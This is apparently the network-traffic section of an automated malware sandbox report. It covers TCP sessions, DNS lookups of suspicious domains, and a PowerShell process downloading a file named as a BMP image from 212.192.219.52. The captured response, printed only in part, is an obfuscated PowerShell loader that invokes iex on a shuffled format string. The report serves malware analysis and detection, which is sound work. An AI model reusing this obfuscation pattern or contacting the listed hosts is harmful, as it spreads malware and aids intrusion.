                                        Jul 24, 2023 10:31:01.615698099 CEST4972280192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:31:01.871962070 CEST8049722156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:31:05.003001928 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:31:07.030538082 CEST4972380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:07.215728998 CEST80497238.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:07.216010094 CEST4972380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:07.535574913 CEST4972380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:07.719502926 CEST80497238.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:07.719559908 CEST80497238.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:07.719587088 CEST80497238.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:07.723159075 CEST80497238.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:07.723493099 CEST4972380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:09.122273922 CEST4972380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:10.139347076 CEST4972480192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:10.323955059 CEST80497248.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:10.324068069 CEST4972480192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:10.347817898 CEST4972480192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:10.531541109 CEST80497248.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:10.531601906 CEST80497248.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:10.535021067 CEST80497248.217.57.91192.168.2.5
                                        Jul 24, 2023 10:31:10.535104990 CEST4972480192.168.2.58.217.57.91
                                        Jul 24, 2023 10:31:11.925045013 CEST4972480192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:07.628441095 CEST4972580192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:07.646697044 CEST804972591.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:07.646862984 CEST4972580192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:07.647041082 CEST4972580192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:07.665225029 CEST804972591.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:07.665931940 CEST804972591.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:07.665976048 CEST804972591.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:07.666079044 CEST4972580192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:09.160763979 CEST4972580192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:10.176827908 CEST4972680192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:10.195034981 CEST804972691.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:10.195272923 CEST4972680192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:10.195727110 CEST4972680192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:10.214776039 CEST804972691.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:10.214845896 CEST804972691.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:10.215006113 CEST4972680192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:11.707655907 CEST4972680192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:12.724102974 CEST4972780192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:12.742537975 CEST804972791.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:12.743891954 CEST4972780192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:12.744018078 CEST4972780192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:12.762871027 CEST804972791.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:12.762933016 CEST804972791.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:12.763214111 CEST4972780192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:12.763391972 CEST4972780192.168.2.591.195.240.68
                                        Jul 24, 2023 10:32:12.781536102 CEST804972791.195.240.68192.168.2.5
                                        Jul 24, 2023 10:32:18.114131927 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:18.370425940 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.370601892 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:18.370779991 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:18.627180099 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.627223969 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.638623953 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.638701916 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.638741016 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.638772964 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.638786077 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:18.638856888 CEST8049728156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:18.638878107 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:18.638936043 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:19.880513906 CEST4972880192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:20.896812916 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:21.137923002 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.138025999 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:21.138170958 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:21.379133940 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.390137911 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.390196085 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.390240908 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.390285015 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.390335083 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:21.390343904 CEST8049729156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:21.390459061 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:21.390517950 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:22.646099091 CEST4972980192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:23.662216902 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:23.905442953 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:23.908479929 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.285918951 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.529154062 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540452957 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540525913 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540575981 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540623903 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540669918 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540679932 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.540712118 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.540719032 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540761948 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.540770054 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540819883 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540858984 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.540865898 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540914059 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.540950060 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.540957928 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:24.541049004 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.553328037 CEST4973080192.168.2.5156.237.252.50
                                        Jul 24, 2023 10:32:24.796473026 CEST8049730156.237.252.50192.168.2.5
                                        Jul 24, 2023 10:32:29.874600887 CEST4973180192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:30.058790922 CEST80497318.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:30.058923006 CEST4973180192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:30.059278965 CEST4973180192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:30.243246078 CEST80497318.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:30.243686914 CEST80497318.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:30.243773937 CEST80497318.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:30.247334957 CEST80497318.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:30.247396946 CEST4973180192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:31.568948984 CEST4973180192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:32.585041046 CEST4973280192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:32.781811953 CEST80497328.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:32.781991005 CEST4973280192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:32.782172918 CEST4973280192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:32.978743076 CEST80497328.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:32.978796959 CEST80497328.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:32.982693911 CEST80497328.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:32.982758045 CEST4973280192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:34.287882090 CEST4973280192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:35.304047108 CEST4973380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:35.488354921 CEST80497338.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:35.488514900 CEST4973380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:35.488663912 CEST4973380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:35.672677040 CEST80497338.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:35.672749996 CEST80497338.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:35.676290989 CEST80497338.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:35.676470995 CEST4973380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:35.676894903 CEST4973380192.168.2.58.217.57.91
                                        Jul 24, 2023 10:32:35.861068964 CEST80497338.217.57.91192.168.2.5
                                        Jul 24, 2023 10:32:40.744282961 CEST4973480192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:40.887562037 CEST8049734134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:40.889408112 CEST4973480192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:40.889636040 CEST4973480192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:41.033268929 CEST8049734134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:41.102076054 CEST8049734134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:41.102123976 CEST8049734134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:41.102241039 CEST4973480192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:42.398755074 CEST4973480192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:43.413857937 CEST4973580192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:43.542826891 CEST8049735134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:43.542984009 CEST4973580192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:43.543162107 CEST4973580192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:43.671772003 CEST8049735134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:43.699763060 CEST8049735134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:43.699806929 CEST8049735134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:43.699898005 CEST4973580192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:45.054887056 CEST4973580192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.070548058 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.199209929 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.199424028 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.199619055 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.328231096 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.467856884 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.467900991 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.467945099 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.467974901 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.468007088 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.468039036 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.468071938 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.468081951 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.468111992 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.468125105 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.468154907 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.468154907 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:46.468317032 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.468594074 CEST4973680192.168.2.5134.73.114.39
                                        Jul 24, 2023 10:32:46.597210884 CEST8049736134.73.114.39192.168.2.5
                                        Jul 24, 2023 10:32:51.703147888 CEST4973780192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:52.081301928 CEST804973745.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:52.083798885 CEST4973780192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:52.083995104 CEST4973780192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:52.461863995 CEST804973745.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:52.520426035 CEST804973745.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:52.520498991 CEST804973745.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:52.520729065 CEST4973780192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:53.586389065 CEST4973780192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:54.602448940 CEST4973880192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:54.983042955 CEST804973845.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:54.983177900 CEST4973880192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:54.983365059 CEST4973880192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:55.396385908 CEST804973845.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:55.396435976 CEST804973845.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:55.396584988 CEST4973880192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:56.524415970 CEST4973880192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:57.584790945 CEST4973980192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:57.968209028 CEST804973945.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:57.968393087 CEST4973980192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:58.622175932 CEST4973980192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:59.015491962 CEST804973945.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:59.015541077 CEST804973945.221.114.42192.168.2.5
                                        Jul 24, 2023 10:32:59.015743971 CEST4973980192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:59.015925884 CEST4973980192.168.2.545.221.114.42
                                        Jul 24, 2023 10:32:59.399393082 CEST804973945.221.114.42192.168.2.5

                                        UDP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Jul 24, 2023 10:30:42.568147898 CEST6532353192.168.2.58.8.8.8
                                        Jul 24, 2023 10:30:42.628825903 CEST53653238.8.8.8192.168.2.5
                                        Jul 24, 2023 10:30:53.307003975 CEST5148453192.168.2.58.8.8.8
                                        Jul 24, 2023 10:30:53.497155905 CEST53514848.8.8.8192.168.2.5
                                        Jul 24, 2023 10:31:06.715172052 CEST6344653192.168.2.58.8.8.8
                                        Jul 24, 2023 10:31:07.009795904 CEST53634468.8.8.8192.168.2.5
                                        Jul 24, 2023 10:32:07.552964926 CEST5675153192.168.2.58.8.8.8
                                        Jul 24, 2023 10:32:07.622881889 CEST53567518.8.8.8192.168.2.5
                                        Jul 24, 2023 10:32:17.782572985 CEST5503953192.168.2.58.8.8.8
                                        Jul 24, 2023 10:32:18.112318039 CEST53550398.8.8.8192.168.2.5
                                        Jul 24, 2023 10:32:29.595139980 CEST6097553192.168.2.58.8.8.8
                                        Jul 24, 2023 10:32:29.873145103 CEST53609758.8.8.8192.168.2.5
                                        Jul 24, 2023 10:32:40.681710005 CEST5922053192.168.2.58.8.8.8
                                        Jul 24, 2023 10:32:40.742491007 CEST53592208.8.8.8192.168.2.5
                                        Jul 24, 2023 10:32:51.499739885 CEST5506853192.168.2.58.8.8.8
                                        Jul 24, 2023 10:32:51.701900005 CEST53550688.8.8.8192.168.2.5
                                        Jul 24, 2023 10:33:16.020845890 CEST5668253192.168.2.58.8.8.8
                                        Jul 24, 2023 10:33:16.315218925 CEST53566828.8.8.8192.168.2.5

                                        DNS Queries

                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                        Jul 24, 2023 10:30:42.568147898 CEST192.168.2.58.8.8.80x59b0Standard query (0)www.blackhawkstickets.comA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:30:53.307003975 CEST192.168.2.58.8.8.80xd368Standard query (0)www.moqainc.comA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:31:06.715172052 CEST192.168.2.58.8.8.80x657aStandard query (0)www.u1uc86.shopA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:07.552964926 CEST192.168.2.58.8.8.80x838fStandard query (0)www.blackhawkstickets.comA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:17.782572985 CEST192.168.2.58.8.8.80x7761Standard query (0)www.moqainc.comA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:29.595139980 CEST192.168.2.58.8.8.80x67e5Standard query (0)www.u1uc86.shopA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:40.681710005 CEST192.168.2.58.8.8.80x5dfdStandard query (0)www.eunicebarber.comA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:51.499739885 CEST192.168.2.58.8.8.80x347fStandard query (0)www.jshjyz.comA (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:33:16.020845890 CEST192.168.2.58.8.8.80xf67Standard query (0)www.914762.comA (IP address)IN (0x0001)false

                                        DNS Answers

                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                        Jul 24, 2023 10:30:42.628825903 CEST8.8.8.8192.168.2.50x59b0No error (0)www.blackhawkstickets.com91.195.240.68A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:30:53.497155905 CEST8.8.8.8192.168.2.50xd368No error (0)www.moqainc.com156.237.252.50A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:31:07.009795904 CEST8.8.8.8192.168.2.50x657aNo error (0)www.u1uc86.shop8.217.57.91A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:07.622881889 CEST8.8.8.8192.168.2.50x838fNo error (0)www.blackhawkstickets.com91.195.240.68A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:18.112318039 CEST8.8.8.8192.168.2.50x7761No error (0)www.moqainc.com156.237.252.50A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:29.873145103 CEST8.8.8.8192.168.2.50x67e5No error (0)www.u1uc86.shop8.217.57.91A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:40.742491007 CEST8.8.8.8192.168.2.50x5dfdNo error (0)www.eunicebarber.com134.73.114.39A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:32:51.701900005 CEST8.8.8.8192.168.2.50x347fNo error (0)www.jshjyz.com45.221.114.42A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:33:16.315218925 CEST8.8.8.8192.168.2.50xf67No error (0)www.914762.comd007koo.yb550.comCNAME (Canonical name)IN (0x0001)false
                                        Jul 24, 2023 10:33:16.315218925 CEST8.8.8.8192.168.2.50xf67No error (0)d007koo.yb550.com46.149.197.98A (IP address)IN (0x0001)false
                                        Jul 24, 2023 10:33:16.315218925 CEST8.8.8.8192.168.2.50xf67No error (0)d007koo.yb550.com46.149.197.101A (IP address)IN (0x0001)false

                                        HTTP Request Dependency Graph

                                        • 212.192.219.52
                                        • www.blackhawkstickets.com
                                        • www.moqainc.com
                                        • www.u1uc86.shop
                                        • www.eunicebarber.com
                                        • www.jshjyz.com

                                        HTTP Packets

                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        0192.168.2.549717212.192.219.5280C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:29:06.172569036 CEST94OUTGET /Untitled2.bmp HTTP/1.1
                                        Host: 212.192.219.52
                                        Connection: Keep-Alive
                                        Jul 24, 2023 10:29:06.226602077 CEST95INHTTP/1.1 200 OK
                                        Content-Type: image/bmp
                                        Last-Modified: Sat, 22 Jul 2023 23:04:22 GMT
                                        Accept-Ranges: bytes
                                        ETag: "2cd495daf0bcd91:0"
                                        Server: Microsoft-IIS/8.5
                                        Date: Mon, 24 Jul 2023 08:29:05 GMT
                                        Content-Length: 741962
                                        Data Raw: ef bb bf 2e 20 28 20 24 45 6e 76 3a 43 4f 4d 53 70 45 43 5b 34 2c 31 35 2c 32 35 5d 2d 6a 4f 69 4e 27 27 29 20 28 20 28 28 28 22 7b 32 36 35 7d 7b 31 37 30 7d 7b 33 38 37 7d 7b 35 34 38 7d 7b 33 35 34 7d 7b 31 31 30 7d 7b 34 39 34 7d 7b 34 35 7d 7b 33 30 36 7d 7b 35 31 33 7d 7b 31 35 30 7d 7b 31 35 33 7d 7b 34 39 31 7d 7b 31 33 35 7d 7b 32 38 35 7d 7b 34 36 33 7d 7b 35 34 33 7d 7b 33 38 38 7d 7b 33 30 31 7d 7b 31 37 39 7d 7b 31 34 37 7d 7b 31 39 38 7d 7b 33 37 36 7d 7b 31 31 31 7d 7b 31 35 37 7d 7b 33 36 38 7d 7b 33 39 34 7d 7b 32 36 30 7d 7b 31 33 7d 7b 34 31 31 7d 7b 32 39 34 7d 7b 32 37 34 7d 7b 33 33 7d 7b 34 39 37 7d 7b 34 34 36 7d 7b 34 32 30 7d 7b 32 31 31 7d 7b 34 30 36 7d 7b 34 36 37 7d 7b 34 35 39 7d 7b 33 33 37 7d 7b 35 31 7d 7b 32 39 30 7d 7b 33 33 32 7d 7b 34 31 36 7d 7b 34 37 37 7d 7b 34 32 31 7d 7b 32 38 34 7d 7b 39 36 7d 7b 31 39 33 7d 7b 33 36 37 7d 7b 31 34 38 7d 7b 31 31 33 7d 7b 34 36 38 7d 7b 33 30 37 7d 7b 33 38 31 7d 7b 35 32 39 7d 7b 34 30 30 7d 7b 38 35 7d 7b 33 31 33 7d 7b 33 37 34 7d 7b 33 34 39 7d 7b 34 32 38 7d 7b 34 30 32 7d 7b 31 38 7d 7b 34 30 37 7d 7b 33 37 7d 7b 35 30 36 7d 7b 34 33 30 7d 7b 35 32 33 7d 7b 31 36 31 7d 7b 34 36 35 7d 7b 34 37 36 7d 7b 31 32 33 7d 7b 32 34 7d 7b 35 30 34 7d 7b 32 30 7d 7b 33 34 32 7d 7b 31 31 34 7d 7b 33 34 37 7d 7b 37 36 7d 7b 33 31 34 7d 7b 34 31 39 7d 7b 34 37 30 7d 7b 37 38 7d 7b 32 33 37 7d 7b 33 35 37 7d 7b 31 33 37 7d 7b 31 33 36 7d 7b 35 34 36 7d 7b 33 36 33 7d 7b 35 33 32 7d 7b 39 31 7d 7b 33 34 34 7d 7b 34 34 34 7d 7b 32 33 30 7d 7b 34 38 36 7d 7b 32 37 32 7d 7b 34 31 33 7d 7b 31 37 34 7d 7b 31 30 38 7d 7b 36 30 7d 7b 35 34 35 7d 7b 33 34 33 7d 7b 34 36 7d 7b 32 35 37 7d 7b 35 34 30 7d 7b 33 32 38 7d 7b 31 34 32 7d 7b 31 33 38 7d 7b 32 39 35 7d 7b 35 35 30 7d 7b 34 39 38 7d 7b 31 39 34 7d 7b 32 31 39 7d 7b 35 30 7d 7b 33 32 37 7d 7b 32 32 37 7d 7b 32 32 30 7d 7b 33 34 35 7d 7b 31 30 36 7d 7b 32 32 35 7d 7b 38 34 7d 7b 34 36 32 7d 7b 32 33 34 7d 7b 35 30 30 7d 7b 32 38 37 7d 7b 36 37 7d 7b 32 35 34 7d 7b 31 30 33 7d 7b 31 30 30 7d 7b 35 33 37 7d 7b 33 30 38 7d 7b 33 36 32 7d 7b 34 37 39 7d 7b 33 37 33 7d 7b 34 33 39 7d 7b 34 39 35 7d 7b 33 38 39 7d 7b 31 36 7d 7b 31 33 32 7d 7b 34 37 31 7d 7b 33 39 30 7d 7b 38 30 7d 7b 33 31 38 7d 7b 34 35 32 7d 7b 34 38 30 7d 7b 32 38 32 7d 7b 31 31 7d 7b 33 33 33 7d 7b 32 37 37 7d 7b 36 31 7d 7b 32 32 32 7d 7b 32 35 36 7d 7b 32 37 38 7d 7b 38 38 7d 7b 33 33 38 7d 7b 36 35 7d 7b 35 30 31 7d 7b 32 38 36 7d 7b 32 37 31 7d 7b 33 31 30 7d 7b 35 33 34 7d 7b 32 34 33 7d 7b 34 38 37 7d 7b 32 33 35 7d 7b 35 31 35 7d 7b 34 36 39 7d 7b 38 39 7d 7b 31 36 33 7d 7b 32 39 7d 7b 31 38 33 7d 7b 34 39 39 7d 7b 34 35 36 7d 7b 33 36 7d 7b 35 33 33 7d 7b 31 36 37 7d 7b 32 32 39 7d 7b 35 33 39 7d 7b 34 34 31 7d 7b 35 32 7d 7b 39 33 7d 7b 34 34 32 7d 7b 33 36 30 7d 7b 31 31 36 7d 7b 35 31 31 7d 7b 33 38 7d 7b 35 39 7d 7b 31 31 32 7d 7b 35 30 33 7d 7b 32 36 33 7d 7b 32 30 35 7d 7b 34 37 7d 7b 32 35 33 7d 7b 38 7d 7b 34 35 34 7d 7b 32 37 7d 7b 33 34 36 7d 7b 33 37 31 7d 7b 35 32 31 7d 7b 35 34 32 7d 7b 32 37 30 7d 7b 35 34 34 7d 7b 33 32 33 7d 7b 31 32 36 7d 7b 32 30 34 7d 7b 31 38 38 7d 7b 31 33 30 7d 7b 33 31 37 7d 7b 34 33 34 7d 7b
                                        Data Ascii: . ( $Env:COMSpEC[4,15,25]-jOiN'') ( ((("{265}{170}{387}{548}{354}{110}{494}{45}{306}{513}{150}{153}{491}{135}{285}{463}{543}{388}{301}{179}{147}{198}{376}{111}{157}{368}{394}{260}{13}{411}{294}{274}{33}{497}{446}{420}{211}{406}{467}{459}{337}{51}{290}{332}{416}{477}{421}{284}{96}{193}{367}{148}{113}{468}{307}{381}{529}{400}{85}{313}{374}{349}{428}{402}{18}{407}{37}{506}{430}{523}{161}{465}{476}{123}{24}{504}{20}{342}{114}{347}{76}{314}{419}{470}{78}{237}{357}{137}{136}{546}{363}{532}{91}{344}{444}{230}{486}{272}{413}{174}{108}{60}{545}{343}{46}{257}{540}{328}{142}{138}{295}{550}{498}{194}{219}{50}{327}{227}{220}{345}{106}{225}{84}{462}{234}{500}{287}{67}{254}{103}{100}{537}{308}{362}{479}{373}{439}{495}{389}{16}{132}{471}{390}{80}{318}{452}{480}{282}{11}{333}{277}{61}{222}{256}{278}{88}{338}{65}{501}{286}{271}{310}{534}{243}{487}{235}{515}{469}{89}{163}{29}{183}{499}{456}{36}{533}{167}{229}{539}{441}{52}{93}{442}{360}{116}{511}{38}{59}{112}{503}{263}{205}{47}{253}{8}{454}{27}{346}{371}{521}{542}{270}{544}{323}{126}{204}{188}{130}{317}{434}{
                                        Jul 24, 2023 10:29:06.226654053 CEST97INData Raw: 32 36 38 7d 7b 32 35 7d 7b 35 37 7d 7b 32 39 31 7d 7b 34 39 7d 7b 31 39 36 7d 7b 31 33 33 7d 7b 37 34 7d 7b 35 30 39 7d 7b 33 32 7d 7b 35 35 31 7d 7b 34 38 38 7d 7b 32 32 33 7d 7b 33 33 35 7d 7b 32 31 37 7d 7b 39 34 7d 7b 33 38 33 7d 7b 31 30 32
